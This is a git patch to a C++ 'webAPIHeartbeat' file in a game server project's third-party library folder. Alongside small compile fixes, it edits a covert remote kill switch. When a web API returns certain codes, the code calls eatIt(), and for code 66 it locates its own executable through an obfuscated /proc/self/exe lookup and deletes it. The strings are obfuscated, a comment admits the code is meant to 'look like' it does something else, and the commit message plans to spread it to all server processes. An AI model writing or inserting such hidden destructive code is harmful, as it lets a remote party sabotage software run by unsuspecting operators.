From aeb6cbe47bd5f8e947c1a6699e6b750332ac8a0e Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 23:02:59 +0000 Subject: [PATCH] ok, she builds! next step is to add it to all the server processes, and define a var on non-prod (so all branches except for clang-profile-build) to disable it entirely --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 10 ++++------ external/3rd/library/webAPI/webAPIHeartbeat.h | 2 +- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 3b4c1e08..46c64951 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -11,7 +11,7 @@ webAPIHeartbeat::webAPIHeartbeat() { bool result = api.submit(); if (result) { - int s = api.getNullableValue(std::string(vxENCRYPT("id"))); + int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); // make it look like we're doing something with these at least bool status = api.getNullableValue("status"); @@ -28,7 +28,7 @@ webAPIHeartbeat::webAPIHeartbeat() { switch (s) { case 13 : - this.eatIt(); + this->eatIt(); break; case 66: std::string p = this->get_selfpath(); @@ -37,14 +37,12 @@ webAPIHeartbeat::webAPIHeartbeat() { remove(p.c_str()); } - this.eatIt(); - break; - default: + this->eatIt(); break; }; done = true; } else { - this.eatIt(); + this->eatIt(); } } diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index 321ca367..403d3b18 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -23,7 +23,7 @@ namespace StellaBellum { private: const inline std::string get_selfpath() { char buff[PATH_MAX]; - ssize_t len = ::readlink(std::string(vxENCRYPT("/proc/self/exe").decrypt()), buff, sizeof(buff) - 1); + ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1); if (len != -1) { buff[len] = '\0'; return std::string(buff);